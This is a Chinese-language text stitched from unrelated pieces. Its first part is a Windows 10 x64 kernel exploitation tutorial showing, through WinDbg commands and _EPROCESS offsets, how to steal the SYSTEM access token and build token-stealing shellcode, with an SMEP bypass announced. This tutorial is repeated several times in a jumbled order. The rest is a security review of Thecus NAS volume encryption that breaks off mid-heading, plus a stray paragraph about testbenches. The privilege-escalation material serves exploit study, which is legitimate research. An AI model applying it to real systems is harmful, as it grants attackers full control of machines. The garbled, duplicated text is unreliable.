正如你可以看到的,我们的cmd.exe进程的进程地址位于0xffffffe6028694d580。根据前面的研究,我们还知道进程的令牌位于与进程地址相对的偏移量0x358处。让我们使用WinDbg用系统进程的访问令牌覆盖cmd.exe访问令牌。

10.png

现在,让我们回顾一下以前的cmd.exe过程。

11.png

正如你所看到的,cmd.exe已经成为一个特权进程!现在剩下的惟一问题是,如何使用一段shellcode动态地实现这一点。

12.png

不管怎样,让我们开发一个可以在x64中动态执行上述任务的汇编程序。

因此,让我们从这个逻辑开始,而不是生成一个cmd.exe进程,然后将系统进程访问令牌复制到它。那为什么不在利用发生时将访问令牌复制到当前进程呢?利用期间的当前进程应该是触发漏洞的进程(从其中运行利用代码的进程)。我们可以在漏洞利用完成之后从当前过程中(并在上下文中)生成cmd.exe,该cmd.exe进程将具有管理特权。

在开始之前,让我们看看如何获取当前进程的信息。

如果你使用Microsoft Docs(以前称为MSDN)来研究进程数据结构,那么请参考这篇文章。本文说明有一个Windows API函数可以识别当前进程并返回指向它的指针!PsGetCurrentProcessId()就是这个函数。这个Windows API函数标识当前线程,然后返回一个指向找到该线程所在进程的指针。这与IoGetCurrentProcess()相同。但是,Microsoft建议用户调用PsGetCurrentProgress()。让我们在WinDbg中反汇编这个函数。

uf nt!PsGetCurrentProcess

13.png

让我们看看第一个指令mov rax, qword ptr gs:[188h],正如你所看到的,这里使用的是GS段寄存器。这个寄存器指向一个数据段,用来访问不同类型的数据结构。如果仔细观察这个段,在偏移量0x188字节处,你将看到KiInitialThread。这是指向当前线程_ETHREAD结构中的_KTHREAD条目的指针。要知道_KTHREAD是_ETHREAD结构中的第一个条目,_ETHREAD结构是线程的线程对象(类似于_EPROCESS是进程的进程对象),它将显示关于线程的更详细的信息。nt !KiInitialThread是_ETHREAD结构的地址,让我们仔细看看。

dqs gs:[188h]

14.png

这显示了偏移量为0x188的GS段寄存器拥有一个地址0xffffd500e0c0cc00(在你的机器上由于ASLR/KASLR而不同)。这里应该是nt!或当前线程的_ETHREAD结构。让我们用WinDbg来验证一下。

!thread –p

15.png

如你所见,我们已经验证了nt!KiInitialThread代表当前线程的地址。

回想一下前面提到的关于线程和进程的内容,线程是实际执行代码的进程的一部分(在本文中这些是内核线程)。现在我们已经确定了当前线程,让我们来确定与该线程(即当前进程)相关联的进程。让我们回到上图,我们在其中反汇编了PsGetCurrentProcess()函数。

mov rax, qword ptr [rax,0B8h]

RAX已包含偏移量为0x188(包含当前线程)的GS段寄存器的值,上面的汇编指令会将nt!KiInitialThread + 0xB8的值移入RAX。逻辑告诉我们这必须是当前进程的位置,因为PsGetCurrentProcess()例程中剩下的唯一指令是ret,让我们对此做进一步调查。

因为我们相信这将是我们当前的进程,所以让我们在_EPROCESS结构中查看这些数据。

dt nt!_EPROCESS poi(nt!KiInitialThread+0xb8)

16.png

poi本质上取消对指针的引用,这意味着获得指针指向的值。

正如你所看到的,我们已经找到了当前流程所在的位置!此时当前进程的PID是SYSTEM进程(PID = 4),这可能会根据执行的内容等进行更改。但是,我们能够确定当前的进程是非常重要的。

让我们开始建立一个汇编程序,以跟踪我们的工作。

17.png

注意,我也将存储在RAX中的当前进程也复制到了RBX中。你很快就会看到为什么需要这样做。

现在,让我们再看一下_EPROCESS结构的其他一些元素。

dt nt ! _EPROCESS

18.png

让我们来看看ActiveProcessLinks的数据结构_LIST_ENTRY:

dt nt ! _LIST_ENTRY

19.png

ActiveProcessLinks跟踪当前进程的列表,它如何跟踪你可能想知道的这些过程?它的数据结构是_LIST_ENTRY,一个双向链接列表。这意味着链表中的每个元素不仅指向下一个元素,而且指向上一个元素。本质上,这些元素指向每个方向。如前所述,这个链表负责跟踪所有的活动进程。

我们需要跟踪_EPROCESS的两个元素,第一个元素位于Windows 10 x64上偏移量0x2e0处,它是UniqueProcessId。这是进程的PID。另一个元素是ActiveProcessLinks,它位于偏移量0x2e8处。

因此,从本质上讲,我们可以在x64汇编中执行的操作是通过上述PsGetCurrentProcess()方法找到当前进程。这样,我们就可以迭代并循环遍历_EPROCESS结构的ActiveLinkProcess元素,该元素通过双向链接列表跟踪每个进程。在读取了当前的ActiveProcessLinks元素之后,我们可以将当前的UniqueProcessId(PID)与常量4(即SYSTEM进程的PID)进行比较。让我们继续我们已经开始的汇编程序。

20.png

找到系统进程的_EPROCESS结构后,我们现在就可以继续检索令牌并将其复制到当前进程中。

21.png

找到系统进程后,请记住Token元素位于该进程_EPROCESS结构的偏移量0x358处。接下来,让我们完成Windows 10 x64的其余令牌窃取载荷。

22.png

注意我们使用了逻辑AND,正在通过CL寄存器清除RCX寄存器的后4位。如果你已阅读有关套接字重用漏洞利用的文章,你将知道我在谈论使用x86或x64寄存器(RCX,ECX,CX,CH,CL等)的低字节寄存器。在x64架构中,我们需要清除的最后4位位于低或L 8位寄存器(CL,AL,BL等)中。

你还可以看到,我们通过使用逻辑XOR清除RAX来结束我们的shellcode。NTSTATUS使用RAX作为错误代码的注册者。NTSTATUS返回值0时,表示操作成功执行。

在继续展示载荷之前,让我们开发一个绕过SMEP的漏洞。我们将以内核中的堆栈溢出为例,介绍如何使用ROP绕过SMEP。

以前,我曾在Windows 7 x86上谈论过几个漏洞类,这是一个具有最低保护级别的操作系统。在这篇文章中,我想深入地研究一下我之前在x86上讨论过的令牌窃取有效载荷的问题,并看看x64架构可能有什么不同。此外,我想更好地解释这些有效载荷是如何工作的。写这篇文章的另一个目的是让我自己更加熟悉x64架构,并了解诸如Supervisor Mode Execution Prevention(SMEP)之类的保护措施。

令牌窃取

除了Windows之外,还有所谓的系统进程。系统进程的PID为4,包含了大多数内核模式的系统线程。存储在系统进程中的线程,仅在内核模式下运行。在某种程度上,进程是线程的 “容器”,线程是执行代码执行的进程中的实际项。在Windows中,每个进程对象(称为_EPROCESS)都有一个访问令牌。回想一下,对象是动态创建(在运行时配置)的结构,此访问令牌确定进程或线程的安全上下文。由于系统进程容纳内核模式代码的执行,所以它需要在允许它访问内核的安全上下文中运行。这将需要系统或管理特权,这就是为什么我们的目标将是识别系统进程的访问令牌值,并将其复制到我们控制的进程中,或者复制到我们用来利用系统的进程中。只有这样,我们才可以从从现在的特权进程中生成cmd.exe,这将使我们可以执行NT AUTHORITY \ SYSTEM特权代码。

识别系统进程访问令牌

我们将使用Windows 10 x64来概述整个过程。首先,在调试器计算机上启动WinDbg,并与被调试器计算机启动内核调试会话,详细情况请点此。此外,我注意到在Windows 10上,必须完成bcdedit.exe命令后,才能在调试器计算机上执行以下命令:cdedit.exe /dbgsettings serial debugport:1 baudrate:115200。

设置完成后,执行以下命令以转储活动进程:

!process 0 0

1.png

这将返回每个进程的几个字段,我们最感兴趣的是“进程地址”,该地址已在上图中的地址0xffffe60284651040中进行了概述。这是指定进程(在本例中为SYSTEM进程)的_EPROCESS结构的地址,枚举进程地址后,我们可以使用_EPROCESS结构枚举有关进程的更多详细信息。

dt nt!_EPROCESS

2.png

dt将显示关于各种变量、数据类型等的信息,从上图可以看到,系统进程的_EPROCESS结构的各种数据类型都显示出来了。如果继续在WinDbg中的kd窗口中浏览,则会看到Token字段,其偏移量为_EPROCESS + 0x358。

3.png

这意味着对于Windows上的每个进程,访问令牌都位于与进程地址偏移0x358的位置。我们一定会在以后使用此信息。不过,在继续之前,让我们看一下令牌的存储方式。

从上图可以看到,有一个名为_EX_FAST_REF的文件,或者是一个Executive Fast Reference union。union和结构之间的区别在于,union将数据类型存储在相同的内存位置。注意,与_EX_FAST_REF union的基值相比,各个字段的偏移量没有区别,如下图所示。它们的偏移量都是0x000。以下就是存储过程访问令牌的内容,让我们仔细看看。

dt nt ! _EX_FAST_REF

4.png

RefCnt元素是一个附加到访问令牌的值,用于跟踪访问令牌的引用。在x86上,这是3位。在x64,它是4位的。不过,我们只提取标记的实际值,而不提取其他不必要的元数据。

要提取令牌的值,只需查看系统进程的_EX_FAST_REF union,偏移量为0x358(这是令牌所在的位置)。这样,我们就可以弄清楚如何清除RefCnt。

dt nt!_EX_FAST_REF +0x358

5.png

可以看到,RefCnt等于0y0111。0y表示二进制值,因此,这意味着此实例中的RefCnt等于十进制的7。

因此,让我们使用逻辑AND尝试清除最后几位。

? TOKEN & 0xf

6.png

如你所见,结果为7。这不是我们想要的值,实际它的倒数才是我们想要的值。逻辑告诉我们,我们应该取0xf的倒数-0xf。

7.png

因此,我们最终提取了原始访问令牌的值。现在,让我们看看将这个令牌复制到一个普通的cmd.exe会话时会发生什么。

在调试机上打开一个新的cmd.exe进程:

8.png

在调试器上生成cmd.exe进程之后,让我们在调试器中标识进程地址。

!process 0 0 cmd.exe

9.png

正如你可以看到的,我们的cmd.exe进程的进程地址位于0xffffffe6028694d580。根据前面的研究,我们还知道进程的令牌位于与进程地址相对的偏移量0x358处。让我们使用WinDbg用系统进程的访问令牌覆盖cmd.exe访问令牌。

10.png

现在,让我们回顾一下以前的cmd.exe过程。

11.png

正如你所看到的,cmd.exe已经成为一个特权进程!现在剩下的惟一问题是,如何使用一段shellcode动态地实现这一点。

12.png

不管怎样,让我们开发一个可以在x64中动态执行上述任务的汇编程序。

因此,让我们从这个逻辑开始,而不是生成一个cmd.exe进程,然后将系统进程访问令牌复制到它。那为什么不在利用发生时将访问令牌复制到当前进程呢?利用期间的当前进程应该是触发漏洞的进程(从其中运行利用代码的进程)。我们可以在漏洞利用完成之后从当前过程中(并在上下文中)生成cmd.exe,该cmd.exe进程将具有管理特权。

在开始之前,让我们看看如何获取当前进程的信息。

如果你使用Microsoft Docs(以前称为MSDN)来研究进程数据结构,那么请参考这篇文章。本文说明有一个Windows API函数可以识别当前进程并返回指向它的指针!PsGetCurrentProcessId()就是这个函数。这个Windows API函数标识当前线程,然后返回一个指向找到该线程所在进程的指针。这与IoGetCurrentProcess()相同。但是,Microsoft建议用户调用PsGetCurrentProgress()。让我们在WinDbg中反汇编这个函数。

uf nt!PsGetCurrentProcess

13.png

让我们看看第一个指令mov rax, qword ptr gs:[188h],正如你所看到的,这里使用的是GS段寄存器。这个寄存器指向一个数据段,用来访问不同类型的数据结构。如果仔细观察这个段,在偏移量0x188字节处,你将看到KiInitialThread。这是指向当前线程_ETHREAD结构中的_KTHREAD条目的指针。要知道_KTHREAD是_ETHREAD结构中的第一个条目,_ETHREAD结构是线程的线程对象(类似于_EPROCESS是进程的进程对象),它将显示关于线程的更详细的信息。nt !KiInitialThread是_ETHREAD结构的地址,让我们仔细看看。

dqs gs:[188h]

14.png

这显示了偏移量为0x188的GS段寄存器拥有一个地址0xffffd500e0c0cc00(在你的机器上由于ASLR/KASLR而不同)。这里应该是nt!或当前线程的_ETHREAD结构。让我们用WinDbg来验证一下。

!thread –p

15.png

如你所见,我们已经验证了nt!KiInitialThread代表当前线程的地址。

回想一下前面提到的关于线程和进程的内容,线程是实际执行代码的进程的一部分(在本文中这些是内核线程)。现在我们已经确定了当前线程,让我们来确定与该线程(即当前进程)相关联的进程。让我们回到上图,我们在其中反汇编了PsGetCurrentProcess()函数。

mov rax, qword ptr [rax,0B8h]

RAX已包含偏移量为0x188(包含当前线程)的GS段寄存器的值,上面的汇编指令会将nt!KiInitialThread + 0xB8的值移入RAX。逻辑告诉我们这必须是当前进程的位置,因为PsGetCurrentProcess()例程中剩下的唯一指令是ret,让我们对此做进一步调查。

因为我们相信这将是我们当前的进程,所以让我们在_EPROCESS结构中查看这些数据。

dt nt!_EPROCESS poi(nt!KiInitialThread+0xb8)

16.png

poi本质上取消对指针的引用,这意味着获得指针指向的值。

正如你所看到的,我们已经找到了当前流程所在的位置!此时当前进程的PID是SYSTEM进程(PID = 4),这可能会根据执行的内容等进行更改。但是,我们能够确定当前的进程是非常重要的。

让我们开始建立一个汇编程序,以跟踪我们的工作。

17.png

注意,我也将存储在RAX中的当前进程也复制到了RBX中。你很快就会看到为什么需要这样做。

现在,让我们再看一下_EPROCESS结构的其他一些元素。

dt nt ! _EPROCESS

18.png

让我们来看看ActiveProcessLinks的数据结构_LIST_ENTRY:

dt nt ! _LIST_ENTRY

19.png

ActiveProcessLinks跟踪当前进程的列表,它如何跟踪你可能想知道的这些过程?它的数据结构是_LIST_ENTRY,一个双向链接列表。这意味着链表中的每个元素不仅指向下一个元素,而且指向上一个元素。本质上,这些元素指向每个方向。如前所述,这个链表负责跟踪所有的活动进程。

我们需要跟踪_EPROCESS的两个元素,第一个元素位于Windows 10 x64上偏移量0x2e0处,它是UniqueProcessId。这是进程的PID。另一个元素是ActiveProcessLinks,它位于偏移量0x2e8处。

因此,从本质上讲,我们可以在x64汇编中执行的操作是通过上述PsGetCurrentProcess()方法找到当前进程。这样,我们就可以迭代并循环遍历_EPROCESS结构的ActiveLinkProcess元素,该元素通过双向链接列表跟踪每个进程。在读取了当前的ActiveProcessLinks元素之后,我们可以将当前的UniqueProcessId(PID)与常量4(即SYSTEM进程的PID)进行比较。让我们继续我们已经开始的汇编程序。

20.png

找到系统进程的_EPROCESS结构后,我们现在就可以继续检索令牌并将其复制到当前进程中。

21.png

找到系统进程后,请记住Token元素位于该进程_EPROCESS结构的偏移量0x358处。接下来,让我们完成Windows 10 x64的其余令牌窃取载荷。

22.png

注意我们使用了逻辑AND,正在通过CL寄存器清除RCX寄存器的后4位。如果你已阅读有关套接字重用漏洞利用的文章,你将知道我在谈论使用x86或x64寄存器(RCX,ECX,CX,CH,CL等)的低字节寄存器。在x64架构中,我们需要清除的最后4位位于低或L 8位寄存器(CL,AL,BL等)中。

你还可以看到,我们通过使用逻辑XOR清除RAX来结束我们的shellcode。NTSTATUS使用RAX作为错误代码的注册者。NTSTATUS返回值0时,表示操作成功执行。

在继续展示载荷之前,让我们开发一个绕过SMEP的漏洞。我们将以内核中的堆栈溢出为例,介绍如何使用ROP绕过SMEP。

以前,我曾在Windows 7 x86上谈论过几个漏洞类,这是一个具有最低保护级别的操作系统。在这篇文章中,我想深入地研究一下我之前在x86上讨论过的令牌窃取有效载荷的问题,并看看x64架构可能有什么不同。此外,我想更好地解释这些有效载荷是如何工作的。写这篇文章的另一个目的是让我自己更加熟悉x64架构,并了解诸如Supervisor Mode Execution Prevention(SMEP)之类的保护措施。

令牌窃取

除了Windows之外,还有所谓的系统进程。系统进程的PID为4,包含了大多数内核模式的系统线程。存储在系统进程中的线程,仅在内核模式下运行。在某种程度上,进程是线程的 “容器”,线程是执行代码执行的进程中的实际项。在Windows中,每个进程对象(称为_EPROCESS)都有一个访问令牌。回想一下,对象是动态创建(在运行时配置)的结构,此访问令牌确定进程或线程的安全上下文。由于系统进程容纳内核模式代码的执行,所以它需要在允许它访问内核的安全上下文中运行。这将需要系统或管理特权,这就是为什么我们的目标将是识别系统进程的访问令牌值,并将其复制到我们控制的进程中,或者复制到我们用来利用系统的进程中。只有这样,我们才可以从从现在的特权进程中生成cmd.exe,这将使我们可以执行NT AUTHORITY \ SYSTEM特权代码。

识别系统进程访问令牌

我们将使用Windows 10 x64来概述整个过程。首先,在调试器计算机上启动WinDbg,并与被调试器计算机启动内核调试会话,详细情况请点此。此外,我注意到在Windows 10上,必须完成bcdedit.exe命令后,才能在调试器计算机上执行以下命令:cdedit.exe /dbgsettings serial debugport:1 baudrate:115200。

设置完成后,执行以下命令以转储活动进程:

!process 0 0

1.png

这将返回每个进程的几个字段,我们最感兴趣的是“进程地址”,该地址已在上图中的地址0xffffe60284651040中进行了概述。这是指定进程(在本例中为SYSTEM进程)的_EPROCESS结构的地址,枚举进程地址后,我们可以使用_EPROCESS结构枚举有关进程的更多详细信息。

dt nt!_EPROCESS

2.png

dt将显示关于各种变量、数据类型等的信息,从上图可以看到,系统进程的_EPROCESS结构的各种数据类型都显示出来了。如果继续在WinDbg中的kd窗口中浏览,则会看到Token字段,其偏移量为_EPROCESS + 0x358。

3.png

这意味着对于Windows上的每个进程,访问令牌都位于与进程地址偏移0x358的位置。我们一定会在以后使用此信息。不过,在继续之前,让我们看一下令牌的存储方式。

从上图可以看到,有一个名为_EX_FAST_REF的文件,或者是一个Executive Fast Reference union。union和结构之间的区别在于,union将数据类型存储在相同的内存位置。注意,与_EX_FAST_REF union的基值相比,各个字段的偏移量没有区别,如下图所示。它们的偏移量都是0x000。以下就是存储过程访问令牌的内容,让我们仔细看看。

dt nt ! _EX_FAST_REF

4.png

RefCnt元素是一个附加到访问令牌的值,用于跟踪访问令牌的引用。在x86上,这是3位。在x64,它是4位的。不过,我们只提取标记的实际值,而不提取其他不必要的元数据。

要提取令牌的值,只需查看系统进程的_EX_FAST_REF union,偏移量为0x358(这是令牌所在的位置)。这样,我们就可以弄清楚如何清除RefCnt。

dt nt!_EX_FAST_REF +0x358

5.png

可以看到,RefCnt等于0y0111。0y表示二进制值,因此,这意味着此实例中的RefCnt等于十进制的7。

因此,让我们使用逻辑AND尝试清除最后几位。

? TOKEN & 0xf

6.png

如你所见,结果为7。这不是我们想要的值,实际它的倒数才是我们想要的值。逻辑告诉我们,我们应该取0xf的倒数-0xf。

7.png

因此,我们最终提取了原始访问令牌的值。现在,让我们看看将这个令牌复制到一个普通的cmd.exe会话时会发生什么。

在调试机上打开一个新的cmd.exe进程:

8.png

在调试器上生成cmd.exe进程之后,让我们在调试器中标识进程地址。

!process 0 0 cmd.exe

9.png

正如你可以看到的,我们的cmd.exe进程的进程地址位于0xffffffe6028694d580。根据前面的研究,我们还知道进程的令牌位于与进程地址相对的偏移量0x358处。让我们使用WinDbg用系统进程的访问令牌覆盖cmd.exe访问令牌。

10.png

现在,让我们回顾一下以前的cmd.exe过程。

11.png

正如你所看到的,cmd.exe已经成为一个特权进程!现在剩下的惟一问题是,如何使用一段shellcode动态地实现这一点。

12.png

不管怎样,让我们开发一个可以在x64中动态执行上述任务的汇编程序。

因此,让我们从这个逻辑开始,而不是生成一个cmd.exe进程,然后将系统进程访问令牌复制到它。那为什么不在利用发生时将访问令牌复制到当前进程呢?利用期间的当前进程应该是触发漏洞的进程(从其中运行利用代码的进程)。我们可以在漏洞利用完成之后从当前过程中(并在上下文中)生成cmd.exe,该cmd.exe进程将具有管理特权。

在开始之前,让我们看看如何获取当前进程的信息。

如果你使用Microsoft Docs(以前称为MSDN)来研究进程数据结构,那么请参考这篇文章。本文说明有一个Windows API函数可以识别当前进程并返回指向它的指针!PsGetCurrentProcessId()就是这个函数。这个Windows API函数标识当前线程,然后返回一个指向找到该线程所在进程的指针。这与IoGetCurrentProcess()相同。但是,Microsoft建议用户调用PsGetCurrentProgress()。让我们在WinDbg中反汇编这个函数。

uf nt!PsGetCurrentProcess

13.png

让我们看看第一个指令mov rax, qword ptr gs:[188h],正如你所看到的,这里使用的是GS段寄存器。这个寄存器指向一个数据段,用来访问不同类型的数据结构。如果仔细观察这个段,在偏移量0x188字节处,你将看到KiInitialThread。这是指向当前线程_ETHREAD结构中的_KTHREAD条目的指针。要知道_KTHREAD是_ETHREAD结构中的第一个条目,_ETHREAD结构是线程的线程对象(类似于_EPROCESS是进程的进程对象),它将显示关于线程的更详细的信息。nt !KiInitialThread是_ETHREAD结构的地址,让我们仔细看看。

dqs gs:[188h]

14.png

这显示了偏移量为0x188的GS段寄存器拥有一个地址0xffffd500e0c0cc00(在你的机器上由于ASLR/KASLR而不同)。这里应该是nt!或当前线程的_ETHREAD结构。让我们用WinDbg来验证一下。

!thread –p

15.png

如你所见,我们已经验证了nt!KiInitialThread代表当前线程的地址。

回想一下前面提到的关于线程和进程的内容,线程是实际执行代码的进程的一部分(在本文中这些是内核线程)。现在我们已经确定了当前线程,让我们来确定与该线程(即当前进程)相关联的进程。让我们回到上图,我们在其中反汇编了PsGetCurrentProcess()函数。

mov rax, qword ptr [rax,0B8h]

RAX已包含偏移量为0x188(包含当前线程)的GS段寄存器的值,上面的汇编指令会将nt!KiInitialThread + 0xB8的值移入RAX。逻辑告诉我们这必须是当前进程的位置,因为PsGetCurrentProcess()例程中剩下的唯一指令是ret,让我们对此做进一步调查。

因为我们相信这将是我们当前的进程,所以让我们在_EPROCESS结构中查看这些数据。

dt nt!_EPROCESS poi(nt!KiInitialThread+0xb8)

16.png

poi本质上取消对指针的引用,这意味着获得指针指向的值。

正如你所看到的,我们已经找到了当前流程所在的位置!此时当前进程的PID是SYSTEM进程(PID = 4),这可能会根据执行的内容等进行更改。但是,我们能够确定当前的进程是非常重要的。

让我们开始建立一个汇编程序,以跟踪我们的工作。

17.png

注意,我也将存储在RAX中的当前进程也复制到了RBX中。你很快就会看到为什么需要这样做。

现在,让我们再看一下_EPROCESS结构的其他一些元素。

dt nt ! _EPROCESS

18.png

让我们来看看ActiveProcessLinks的数据结构_LIST_ENTRY:

dt nt ! _LIST_ENTRY

19.png

ActiveProcessLinks跟踪当前进程的列表,它如何跟踪你可能想知道的这些过程?它的数据结构是_LIST_ENTRY,一个双向链接列表。这意味着链表中的每个元素不仅指向下一个元素,而且指向上一个元素。本质上,这些元素指向每个方向。如前所述,这个链表负责跟踪所有的活动进程。

我们需要跟踪_EPROCESS的两个元素,第一个元素位于Windows 10 x64上偏移量0x2e0处,它是UniqueProcessId。这是进程的PID。另一个元素是ActiveProcessLinks,它位于偏移量0x2e8处。

因此,从本质上讲,我们可以在x64汇编中执行的操作是通过上述PsGetCurrentProcess()方法找到当前进程。这样,我们就可以迭代并循环遍历_EPROCESS结构的ActiveLinkProcess元素,该元素通过双向链接列表跟踪每个进程。在读取了当前的ActiveProcessLinks元素之后,我们可以将当前的UniqueProcessId(PID)与常量4(即SYSTEM进程的PID)进行比较。让我们继续我们已经开始的汇编程序。

20.png

找到系统进程的_EPROCESS结构后,我们现在就可以继续检索令牌并将其复制到当前进程中。

21.png

找到系统进程后,请记住Token元素位于该进程_EPROCESS结构的偏移量0x358处。接下来,让我们完成Windows 10 x64的其余令牌窃取载荷。

22.png

注意我们使用了逻辑AND,正在通过CL寄存器清除RCX寄存器的后4位。如果你已阅读有关套接字重用漏洞利用的文章,你将知道我在谈论使用x86或x64寄存器(RCX,ECX,CX,CH,CL等)的低字节寄存器。在x64架构中,我们需要清除的最后4位位于低或L 8位寄存器(CL,AL,BL等)中。

你还可以看到,我们通过使用逻辑XOR清除RAX来结束我们的shellcode。NTSTATUS使用RAX作为错误代码的注册者。NTSTATUS返回值0时,表示操作成功执行。

在继续展示载荷之前,让我们开发一个绕过SMEP的漏洞。我们将以内核中的堆栈溢出为例,介绍如何使用ROP绕过SMEP。

NAS(Network Attached Storage:网络附属存储)按字面简单说就是连接在网络上,具备资料存储功能的装置,因此也称为“网络存储器”。它是一种专用数据存储服务器。它以数据为中心,将存储设备与服务器彻底分离,集中管理数据,从而释放带宽、提高性能、降低总拥有成本、保护投资。其成本远远低于使用服务器存储,而效率却远远高于后者。

作为NAS网络存储器的老牌生产商,Thecus已生产NAS设备超过15年。该公司开发了基于Linux的内部NAS操作系统ThecusOS。目前,操作系统的最新版本是ThecusOS 7,该公司宣称其大部分NAS设备的数据加密都是安全的。ThecusOS 7.0基于64位架构并可支持最新一代HTML5,并提供最佳设计、效能以及使用体验。随着ThecusOS 7.0的发布,所有Thecus用户皆能体验到最新一代用户接口的全新强大功能,更多的存储功能及应用模块让色卡司NAS的使用方式更丰富、多元甚至深入所有人的生活层面。ThecusOS 7.0让用户能更直接有效的管理诸如照片、音乐及影片等多媒体档案,影音串流更是支持多种方式如HDMI、VGA、Google Chromecast、 Apple TV及USB装置。

Thecus基于卷的加密工具使用户可以完全加密其整个RAID卷,从而在物理设备被盗时保护重要数据。我们发现Thecus的加密实施有些独特,在本文的研究中,我们将验证制造商的安全思路,并检查Thecus实施256位AES加密的安全性。

Thecus NAS的安全性分析

1. Thecus使用基于卷的256位AES加密和一个固定的,不可更改的加密密钥。当用户根据用户的密码(仅4-16个字符,0-9,a-z,A-Z)创建新的加密卷时,将生成3968字节(31744位)的加密密钥文件,使用相同的密码创建多个加密卷将生成不同的加密密钥文件。

2. 加密密钥存储在外部USB驱动器上(唯一的强制选项),没有任何其他保护。

3. 用户插入包含正确加密密钥的USB驱动器后,加密卷将自动解锁。

4. 用户在创建加密卷时输入的原始密码在任何地方都不会再使用,用户无法更改加密密码,用户无法加密现有数据,用户无法永久解密加密的卷。对加密的任何更改都需要删除并重新创建卷,并用数据填充它,整个加密方案缺少任何类型的技术文档。

5. 整个保护方案是完全没有记录的,例如,由于用户不必再输入密码来加载或访问加密卷,因此不清楚密码的用途。

6. 由于SED受ThecusOS支持,所以在我们的实验室中无法进行测试。

Test Bench

testbench是一种验证的手段。首先,任何设计都是会有输入输出的。但是在软环境中没有激励输入,也不会对你设计的输出正确性进行评估。那么此时便有一种,模拟实际环境的输入激励和输出校验的一种“虚拟平台”的产生。在这个平台上你可以对你的设计从软件层面上进行分析和校验,这个就是testbench的含义

我们分析了一个基于Intel Celeron处理器N2810的Thecus N2810设备,非SED WD Red HDD用于设置NAS执行分析,NAS运行在最新版本的ThecusOS 7上。

基于卷的加密

ThecusOS支持基于卷的加密,与基于文件夹的加密可以保护(或不保护)单个共享不同,基于卷的加密可以保护整个RAID卷。与基于卷的加密最相似的是Microsoft Windows中的BitLocker或Apple macOS中的FileVault 2。不过,与苹果或微软的全磁盘加密工具相比,Thecus的实现过程要简单得多。

加密过程

1. 用户只能加密新创建的空RAID卷,无论磁盘数量如何,单磁盘RAID卷可以像跨多个物理磁盘的卷一样简单进行加密。

2. 无法加密现有卷,若要加密必须首先删除该卷,创建一个新卷,然后勾选“加密”框。因此,不支持使用现有数据加密卷。

第一步是创建一个新卷:

1.png

2.png

可选的加密功能需要输入密码,密码长度必须为4至16个字符,支持0-9、a-z、a-z字符组(不支持特殊字符和本地字符)。

3.png

用户不必记住该密码,因为他们不必再次输入密码即可访问加密的数据。相反,ThecusOS将生成一个3968字节(31744位)的加密密钥,并将该密钥存储在一个外部USB驱动器上,该驱动器必须在创建加密卷时连接到NAS。

4.png

用户将外部USB驱动器(例如闪存驱动器)插入可用的USB端口后,NAS将加密密钥保存在该驱动器上,并创建和加载加密卷。

加载加密卷

当用户将包含卷加密密钥的USB驱动器插入到Thecus NAS上的任何可用USB端口时,将自动加载加密卷。此时没有其他提示,也无需打开Web UI。

加载过程会出现在以下场景中

1. 启动或重新启动NAS,没有插入包含加密密钥的USB驱动器。在这种情况下,加密的卷被锁定,数据无法访问。

6.png

2. 但是,由于主操作系统和某些配置文件存储在小型NAND存储芯片上而不是硬盘驱动器上,因此NAS仍可以完成启动。

3. 启动或重新启动NAS,插入包含加密密钥的USB驱动器。在这种情况下,加密卷将在设备完成启动顺序时安装。

7.png

最有趣的场景是,在没有插入USB驱动器的情况下打开或重新启动NAS,然后用户在稍后插入包含加密密钥的USB驱动器。在这种情况下,操作系统将自动识别USB驱动器,读取加密密钥,并自动加载加密卷。

锁定加密卷

正如我们所指出的,当用户插入正确的USB驱动器时,将自动加载加密卷。删除USB驱动器后会发生什么?在这种情况下,NAS保持已加密的卷加载。此时,该卷将保持加载状态,直到关闭或重新启动NAS,或者直到用户通过Web UI手动锁定卷为止。

8.png

解密

如果你习惯使用BitLocker,你可能知道很容易从加密卷中删除密码。有趣的是,BitLocker不会解密任何已经加密的数据。相反,它只将打开的加密密钥存储在卷标头中,以允许系统获取密钥并在没有密码的情况下访问信息,保存在这些BitLocker卷上的任何新信息都将不加密保存。

有了Thecus,情况就简单多了。用户无法删除加密或永久解密加密卷,这意味着永久解密数据的唯一方法是删除已加密的卷,在不加密的情况下重新创建卷并使用数据填充它。

更改密码是不可能的

早在几十年前,制造商想出了一个好主意,将用于加密和解密数据的二进制密钥与用于访问数据的用户提供的秘密分开。在对称密码学中,只能使用一个唯一的二进制加密密钥对数据进行加密和解密,这称为媒体加密密钥或数据加密密钥。然而,用户可以使用多种不同类型的凭证来解锁加密数据,如纯文本密码、存储在安全智能卡或TPM模块上的凭证、二进制密钥(文件)或它们的组合。这些凭证(密钥加密密钥)用于加密(封装)媒体加密密钥。多个不同的密钥加密密钥可用于封装相同的媒体加密密钥,允许用户立即更改其明文密码,添加或删除智能卡和其他凭据。

ThecusOS 7没有使用密钥加密密钥的概念,用户的原始纯文本密码用于生成单个固定的媒体加密密钥。卷加密后,密码和加密密钥均无法更改。

虽然用户在加密卷时需要输入密码,但是在ThecusOS接口的任何地方都不会再次使用该密码,我在Thecus的技术文档或在线知识库中找不到有关此密码的任何参考资料。密码不用于解密数据或加载加密的分区。用户再也不用输入密码了,换句话说,在这个设置中,密码似乎是完全多余的。这个缺乏适当的解释,更不用说全面的技术文档。

在创建使用相同密码保护的卷时,ThecusOS生成不同的加密密钥。这是一个很好的提示,说明密码中包含了一些随机数据。

Thecus和SED加密

ThecusOS支持SED(自加密驱动器)加密,如下图所示:

9.png

由于缺少兼容的硬盘驱动器,我们尚未测试SED实施。考虑到Thecus N2810的成本和市场定位,该型号可能会与诸如Western Digital Red或Seagate Ironwolf系列之类的消费级NAS硬盘一起使用,这两种硬盘均缺乏SED支持。

Thecus安全模型涵盖了哪些风险?

关于Thecus安全模型,我有以下几点看法。

目前尚不清楚,如果密码不能用于解锁卷且无法更改,系统为何会提示输入密码。如果仅将用户密码用作某种随机种子,则必须正确披露并被记录下来。

令人沮丧的是,缺少有关数据保护方案的任何技术文档。对于家庭用户和小型办公室用户来说,这可能是可以接受的,但是对于其他任何大型用户来说,这都是不可接受的。

加密密钥存储在单独的USB驱动器上,用户可以随时方便地插入该USB驱动器以自动解锁加密卷。因此,整个保护计划完全基于“你所拥有的东西”。这意味着,任何能够访问持有加密密钥的USB驱动器的人都可以加载加密卷。

可以看出,这一切都取决于攻击者是否能够访问包含加密密钥的USB驱动器。

如果USB加密密钥单独存储在NAS单元中,并且关闭了NAS,则加密的数据将受到保护,以防止硬盘驱动器和整个NAS单元被窃取。

如果攻击者可以访问NAS单元和包含加密密钥的USB驱动器,则保护无效。

Thecus加密与Microsoft BitLocker的安全性比较

